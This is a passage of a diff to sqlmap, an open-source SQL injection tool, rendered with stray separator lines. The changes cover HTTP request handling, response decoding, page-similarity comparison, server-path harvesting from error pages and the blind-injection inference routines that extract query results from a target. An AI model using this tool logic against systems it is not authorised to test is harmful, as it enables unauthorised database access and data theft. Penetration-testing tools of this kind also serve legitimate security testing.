self.__queries.dumpTable = self.__dumpTable
|
self.__queries.dumpTable = self.__dumpTable
|
||||||
|
|
||||||
|
|
||||||
def queriesParser():
|
def queriesParser():
|
||||||
"""
|
"""
|
||||||
This function calls a class to parse the default DBMS queries
|
This function calls a class to parse the default DBMS queries
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,17 +22,18 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import gzip
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
|
import StringIO
|
||||||
|
import zlib
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.common import directoryPath
|
||||||
from lib.parse.headers import headersParser
|
from lib.parse.headers import headersParser
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
|
|
||||||
|
|
||||||
def forgeHeaders(cookie, ua):
|
def forgeHeaders(cookie, ua):
|
||||||
"""
|
"""
|
||||||
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
||||||
@@ -51,17 +52,12 @@ def forgeHeaders(cookie, ua):
|
|||||||
|
|
||||||
return headers
|
return headers
|
||||||
|
|
||||||
|
|
||||||
def parseResponse(page, headers):
|
def parseResponse(page, headers):
|
||||||
"""
|
"""
|
||||||
@param page: the page to parse to feed the knowledge base htmlFp
|
@param page: the page to parse to feed the knowledge base htmlFp
|
||||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||||
through the web application) list and absFilePaths (absolute file
|
through the web application) list and absFilePaths (absolute file
|
||||||
paths) set.
|
paths) set.
|
||||||
|
|
||||||
@todo: in the future parse the page content scrolling an XML file to
|
|
||||||
identify the dynamic language used and, most, the absolute path,
|
|
||||||
like for DBMS error messages (ERRORS_XML), see above.
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if headers:
|
if headers:
|
||||||
@@ -73,8 +69,30 @@ def parseResponse(page, headers):
|
|||||||
# Detect injectable page absolute system path
|
# Detect injectable page absolute system path
|
||||||
# NOTE: this regular expression works if the remote web application
|
# NOTE: this regular expression works if the remote web application
|
||||||
# is written in PHP and debug/error messages are enabled.
|
# is written in PHP and debug/error messages are enabled.
|
||||||
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
|
absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line", r"\b(?P<result>[A-Za-z]:(\\[\w.\\]*)?)", r"(\A|[^<])(?P<result>/[/\w.]+)" )
|
||||||
|
|
||||||
for absFilePath in absFilePaths:
|
for absFilePathRegExp in absFilePathsRegExp:
|
||||||
if absFilePath not in kb.absFilePaths:
|
reobj = re.compile(absFilePathRegExp)
|
||||||
kb.absFilePaths.add(absFilePath)
|
|
||||||
|
for match in reobj.finditer(page):
|
||||||
|
absFilePath = match.group("result").strip()
|
||||||
|
|
||||||
|
if absFilePath not in kb.absFilePaths:
|
||||||
|
dirname = directoryPath(absFilePath)
|
||||||
|
kb.absFilePaths.add(dirname)
|
||||||
|
|
||||||
|
def decodePage(page, encoding):
|
||||||
|
"""
|
||||||
|
Decode gzip/deflate HTTP response
|
||||||
|
"""
|
||||||
|
|
||||||
|
if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
|
||||||
|
if encoding == 'deflate':
|
||||||
|
# http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
|
||||||
|
data = StringIO.StringIO(zlib.decompress(page, -15))
|
||||||
|
else:
|
||||||
|
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
|
||||||
|
|
||||||
|
page = data.read()
|
||||||
|
|
||||||
|
return page
|
||||||
|
|||||||
45
lib/request/certhandler.py
Normal file
45
lib/request/certhandler.py
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import httplib
|
||||||
|
import urllib2
|
||||||
|
|
||||||
|
from lib.core.data import conf
|
||||||
|
|
||||||
|
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
|
||||||
|
def __init__(self, key_file, cert_file):
|
||||||
|
urllib2.HTTPSHandler.__init__(self)
|
||||||
|
self.key_file = key_file
|
||||||
|
self.cert_file = cert_file
|
||||||
|
|
||||||
|
def https_open(self, req):
|
||||||
|
return self.do_open(self.getConnection, req)
|
||||||
|
|
||||||
|
def getConnection(self, host):
|
||||||
|
if sys.version_info >= (2,6):
|
||||||
|
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout)
|
||||||
|
else:
|
||||||
|
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
|
||||||
|
return retVal
|
||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import md5
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.session import setMatchRatio
|
||||||
|
|
||||||
|
def comparison(page, headers=None, getSeqMatcher=False):
|
||||||
def comparison(page, headers=None, content=False):
|
|
||||||
regExpResults = None
|
regExpResults = None
|
||||||
|
|
||||||
# String to be excluded before calculating page hash
|
# String to be excluded before calculating page hash
|
||||||
@@ -67,40 +65,38 @@ def comparison(page, headers=None, content=False):
|
|||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# By default it returns the page content MD5 hash
|
conf.seqMatcher.set_seq2(page)
|
||||||
if not conf.equalLines and not conf.contentLengths:
|
ratio = round(conf.seqMatcher.ratio(), 3)
|
||||||
return md5.new(page).hexdigest()
|
|
||||||
|
|
||||||
# TODO: go ahead from here
|
# If the url is stable and we did not set yet the match ratio and the
|
||||||
|
# current injected value changes the url page content
|
||||||
|
if conf.matchRatio is None:
|
||||||
|
if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
|
||||||
|
logger.debug("setting match ratio to %.3f" % ratio)
|
||||||
|
conf.matchRatio = ratio
|
||||||
|
|
||||||
# Comparison algorithm based on Content-Length header value
|
elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
|
||||||
elif conf.contentLengths:
|
logger.debug("setting match ratio to default value 0.900")
|
||||||
minValue = conf.contentLengths[0] - 10
|
conf.matchRatio = 0.900
|
||||||
maxValue = conf.contentLengths[1] + 10
|
|
||||||
|
|
||||||
if len(page) >= minValue and len(page) <= maxValue:
|
if conf.matchRatio is not None:
|
||||||
return True
|
setMatchRatio()
|
||||||
|
|
||||||
# Comparison algorithm based on page content's stable lines subset
|
# If it has been requested to return the ratio and not a comparison
|
||||||
elif conf.equalLines:
|
# response
|
||||||
counter = 0
|
if getSeqMatcher:
|
||||||
trueLines = 0
|
return ratio
|
||||||
pageLines = page.split("\n")
|
|
||||||
|
|
||||||
for commonLine in conf.equalLines:
|
# If the url is stable it returns True if the page has the same MD5
|
||||||
if counter >= len(pageLines):
|
# hash of the original one
|
||||||
break
|
# NOTE: old implementation, it did not handle automatically the fact
|
||||||
|
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
|
||||||
|
#elif conf.md5hash is not None:
|
||||||
|
# return conf.md5hash == md5hash(page)
|
||||||
|
|
||||||
if commonLine in pageLines:
|
# If the url is not stable it returns sequence matcher between the
|
||||||
trueLines += 1
|
# first untouched HTTP response page content and this content
|
||||||
|
elif ratio > conf.matchRatio:
|
||||||
counter += 1
|
return True
|
||||||
|
else:
|
||||||
# TODO: just debug prints
|
return False
|
||||||
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
|
|
||||||
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
|
|
||||||
|
|
||||||
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,10 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import httplib
|
import httplib
|
||||||
import md5
|
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
import time
|
import time
|
||||||
@@ -34,12 +31,13 @@ import urlparse
|
|||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
from lib.contrib import multipartpost
|
from lib.contrib import multipartpost
|
||||||
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
from lib.core.settings import RETRIES
|
from lib.request.basic import decodePage
|
||||||
from lib.request.basic import forgeHeaders
|
from lib.request.basic import forgeHeaders
|
||||||
from lib.request.basic import parseResponse
|
from lib.request.basic import parseResponse
|
||||||
from lib.request.comparison import comparison
|
from lib.request.comparison import comparison
|
||||||
@@ -50,12 +48,10 @@ class Connect:
|
|||||||
This class defines methods used to perform HTTP requests
|
This class defines methods used to perform HTTP requests
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def __getPageProxy(**kwargs):
|
def __getPageProxy(**kwargs):
|
||||||
return Connect.getPage(**kwargs)
|
return Connect.getPage(**kwargs)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getPage(**kwargs):
|
def getPage(**kwargs):
|
||||||
"""
|
"""
|
||||||
@@ -63,7 +59,7 @@ class Connect:
|
|||||||
the target url page content
|
the target url page content
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
||||||
time.sleep(conf.delay)
|
time.sleep(conf.delay)
|
||||||
|
|
||||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||||
@@ -73,6 +69,7 @@ class Connect:
|
|||||||
ua = kwargs.get('ua', None)
|
ua = kwargs.get('ua', None)
|
||||||
direct = kwargs.get('direct', False)
|
direct = kwargs.get('direct', False)
|
||||||
multipart = kwargs.get('multipart', False)
|
multipart = kwargs.get('multipart', False)
|
||||||
|
silent = kwargs.get('silent', False)
|
||||||
|
|
||||||
page = ""
|
page = ""
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
@@ -86,26 +83,33 @@ class Connect:
|
|||||||
else:
|
else:
|
||||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||||
|
|
||||||
|
if silent:
|
||||||
|
socket.setdefaulttimeout(3)
|
||||||
|
|
||||||
if direct:
|
if direct:
|
||||||
if "?" in url:
|
if "?" in url:
|
||||||
url, params = url.split("?")
|
url, params = url.split("?")
|
||||||
params = urlencode(params).replace("%%", "%")
|
params = urlencode(params)
|
||||||
url = "%s?%s" % (url, params)
|
url = "%s?%s" % (url, params)
|
||||||
requestMsg += "?%s" % params
|
requestMsg += "?%s" % params
|
||||||
|
|
||||||
elif multipart:
|
elif multipart:
|
||||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||||
conn = multipartOpener.open(url, multipart)
|
conn = multipartOpener.open(url, multipart)
|
||||||
page = conn.read()
|
page = conn.read()
|
||||||
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
return page
|
encoding = responseHeaders.get("Content-Encoding")
|
||||||
|
page = decodePage(page, encoding)
|
||||||
|
|
||||||
|
return page
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if conf.parameters.has_key("GET") and not get:
|
if conf.parameters.has_key("GET") and not get:
|
||||||
get = conf.parameters["GET"]
|
get = conf.parameters["GET"]
|
||||||
|
|
||||||
if get:
|
if get:
|
||||||
get = urlencode(get).replace("%%", "%")
|
get = urlencode(get)
|
||||||
url = "%s?%s" % (url, get)
|
url = "%s?%s" % (url, get)
|
||||||
requestMsg += "?%s" % get
|
requestMsg += "?%s" % get
|
||||||
|
|
||||||
@@ -113,37 +117,31 @@ class Connect:
|
|||||||
if conf.parameters.has_key("POST") and not post:
|
if conf.parameters.has_key("POST") and not post:
|
||||||
post = conf.parameters["POST"]
|
post = conf.parameters["POST"]
|
||||||
|
|
||||||
post = urlencode(post).replace("%%", "%")
|
|
||||||
|
|
||||||
requestMsg += " HTTP/1.1"
|
requestMsg += " HTTP/1.1"
|
||||||
|
|
||||||
if cookie:
|
|
||||||
# TODO: sure about encoding the cookie?
|
|
||||||
#cookie = urlencode(cookie).replace("%%", "%")
|
|
||||||
cookie = cookie.replace("%%", "%")
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Perform HTTP request
|
# Perform HTTP request
|
||||||
headers = forgeHeaders(cookie, ua)
|
headers = forgeHeaders(sanitizeCookie(cookie), ua)
|
||||||
req = urllib2.Request(url, post, headers)
|
req = urllib2.Request(url, post, headers)
|
||||||
conn = urllib2.urlopen(req)
|
conn = urllib2.urlopen(req)
|
||||||
|
|
||||||
# Reset the number of connection retries
|
# Reset the number of connection retries
|
||||||
conf.retries = 0
|
conf.retriesCount = 0
|
||||||
|
|
||||||
if not req.has_header("Accept-Encoding"):
|
if not req.has_header("Accept-Encoding"):
|
||||||
requestHeaders += "\nAccept-Encoding: identity"
|
requestHeaders += "\nAccept-Encoding: identity"
|
||||||
|
|
||||||
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
||||||
|
|
||||||
for _, cookie in enumerate(conf.cj):
|
if not conf.dropSetCookie:
|
||||||
if not cookieStr:
|
for _, cookie in enumerate(conf.cj):
|
||||||
cookieStr = "Cookie: "
|
if not cookieStr:
|
||||||
|
cookieStr = "Cookie: "
|
||||||
cookie = str(cookie)
|
|
||||||
index = cookie.index(" for ")
|
cookie = str(cookie)
|
||||||
|
index = cookie.index(" for ")
|
||||||
cookieStr += "%s; " % cookie[8:index]
|
|
||||||
|
cookieStr += "%s; " % cookie[8:index]
|
||||||
|
|
||||||
if not req.has_header("Cookie") and cookieStr:
|
if not req.has_header("Cookie") and cookieStr:
|
||||||
requestHeaders += "\n%s" % cookieStr[:-2]
|
requestHeaders += "\n%s" % cookieStr[:-2]
|
||||||
@@ -161,11 +159,14 @@ class Connect:
|
|||||||
logger.log(9, requestMsg)
|
logger.log(9, requestMsg)
|
||||||
|
|
||||||
# Get HTTP response
|
# Get HTTP response
|
||||||
page = conn.read()
|
page = conn.read()
|
||||||
code = conn.code
|
code = conn.code
|
||||||
status = conn.msg
|
status = conn.msg
|
||||||
responseHeaders = conn.info()
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
|
encoding = responseHeaders.get("Content-Encoding")
|
||||||
|
page = decodePage(page, encoding)
|
||||||
|
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
if e.code == 401:
|
if e.code == 401:
|
||||||
exceptionMsg = "not authorized, try to provide right HTTP "
|
exceptionMsg = "not authorized, try to provide right HTTP "
|
||||||
@@ -191,6 +192,9 @@ class Connect:
|
|||||||
warnMsg += "status code, try to force the HTTP User-Agent "
|
warnMsg += "status code, try to force the HTTP User-Agent "
|
||||||
warnMsg += "header with option --user-agent or -a"
|
warnMsg += "header with option --user-agent or -a"
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "unable to connect to the target url"
|
||||||
|
|
||||||
if "BadStatusLine" not in tbMsg:
|
if "BadStatusLine" not in tbMsg:
|
||||||
warnMsg += " or proxy"
|
warnMsg += " or proxy"
|
||||||
|
|
||||||
@@ -200,19 +204,26 @@ class Connect:
|
|||||||
|
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
if conf.retries < RETRIES:
|
if silent:
|
||||||
conf.retries += 1
|
return None, None
|
||||||
|
|
||||||
|
elif conf.retriesCount < conf.retries:
|
||||||
|
conf.retriesCount += 1
|
||||||
|
|
||||||
warnMsg += ", sqlmap is going to retry the request"
|
warnMsg += ", sqlmap is going to retry the request"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
return Connect.__getPageProxy(**kwargs)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
raise sqlmapConnectionException, warnMsg
|
raise sqlmapConnectionException, warnMsg
|
||||||
|
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
parseResponse(page, responseHeaders)
|
parseResponse(page, responseHeaders)
|
||||||
responseMsg += "(%s - %d):\n" % (status, code)
|
responseMsg += "(%s - %d):\n" % (status, code)
|
||||||
|
|
||||||
@@ -225,9 +236,8 @@ class Connect:
|
|||||||
|
|
||||||
return page, responseHeaders
|
return page, responseHeaders
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def queryPage(value=None, place=None, content=False):
|
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
|
||||||
"""
|
"""
|
||||||
This method calls a function to get the target url page content
|
This method calls a function to get the target url page content
|
||||||
and returns its page MD5 hash or a boolean value in case of
|
and returns its page MD5 hash or a boolean value in case of
|
||||||
@@ -266,11 +276,11 @@ class Connect:
|
|||||||
else:
|
else:
|
||||||
ua = conf.parameters["User-Agent"]
|
ua = conf.parameters["User-Agent"]
|
||||||
|
|
||||||
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
|
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua, silent=silent)
|
||||||
|
|
||||||
if content:
|
if content:
|
||||||
return page, headers
|
return page, headers
|
||||||
elif page and headers:
|
elif page:
|
||||||
return comparison(page, headers, content)
|
return comparison(page, headers, getSeqMatcher)
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
@@ -33,21 +31,18 @@ from lib.core.common import dataToSessionFile
|
|||||||
from lib.core.common import expandAsteriskForColumns
|
from lib.core.common import expandAsteriskForColumns
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import replaceNewlineTabs
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.settings import SECONDS
|
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.use import unionUse
|
from lib.techniques.inband.union.use import unionUse
|
||||||
from lib.techniques.blind.inference import bisection
|
from lib.techniques.blind.inference import bisection
|
||||||
from lib.utils.resume import queryOutputLength
|
from lib.utils.resume import queryOutputLength
|
||||||
from lib.utils.resume import resume
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
|
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
|
||||||
def __goInference(payload, expression):
|
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
|
||||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||||
@@ -57,27 +52,39 @@ def __goInference(payload, expression):
|
|||||||
|
|
||||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
||||||
|
|
||||||
count, value = bisection(payload, expression, length=length)
|
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
|
||||||
duration = int(time.time() - start)
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
if conf.eta and length:
|
if conf.eta and length:
|
||||||
infoMsg = "retrieved: %s" % value
|
infoMsg = "retrieved: %s" % value
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
infoMsg = "performed %d queries in %d seconds" % (count, duration)
|
debugMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||||
logger.info(infoMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
|
outputs = []
|
||||||
outputs = []
|
origExpr = None
|
||||||
|
|
||||||
for field in expressionFieldsList:
|
for field in expressionFieldsList:
|
||||||
output = None
|
output = None
|
||||||
|
|
||||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
if field.startswith("ROWNUM "):
|
||||||
output = resume(expressionReplaced, payload)
|
continue
|
||||||
|
|
||||||
|
if isinstance(num, int):
|
||||||
|
origExpr = expression
|
||||||
|
expression = agent.limitQuery(num, expression, field)
|
||||||
|
|
||||||
|
if "ROWNUM" in expressionFieldsList:
|
||||||
|
expressionReplaced = expression
|
||||||
|
else:
|
||||||
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||||
|
|
||||||
|
if resumeValue:
|
||||||
|
output = resume(expressionReplaced, payload)
|
||||||
|
|
||||||
if not output or ( expected == "int" and not output.isdigit() ):
|
if not output or ( expected == "int" and not output.isdigit() ):
|
||||||
if output:
|
if output:
|
||||||
@@ -85,14 +92,16 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||||||
warnMsg += "sqlmap is going to retrieve the value again"
|
warnMsg += "sqlmap is going to retrieve the value again"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
output = __goInference(payload, expressionReplaced)
|
output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
|
if isinstance(num, int):
|
||||||
|
expression = origExpr
|
||||||
|
|
||||||
outputs.append(output)
|
outputs.append(output)
|
||||||
|
|
||||||
return outputs
|
return outputs
|
||||||
|
|
||||||
|
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|
||||||
"""
|
"""
|
||||||
Retrieve the output of a SQL query characted by character taking
|
Retrieve the output of a SQL query characted by character taking
|
||||||
advantage of an blind SQL injection vulnerability on the affected
|
advantage of an blind SQL injection vulnerability on the affected
|
||||||
@@ -110,13 +119,19 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
untilLimitChar = None
|
untilLimitChar = None
|
||||||
untilOrderChar = None
|
untilOrderChar = None
|
||||||
|
|
||||||
output = resume(expression, payload)
|
if resumeValue:
|
||||||
|
output = resume(expression, payload)
|
||||||
|
else:
|
||||||
|
output = None
|
||||||
|
|
||||||
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
|
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
if not unpack:
|
||||||
|
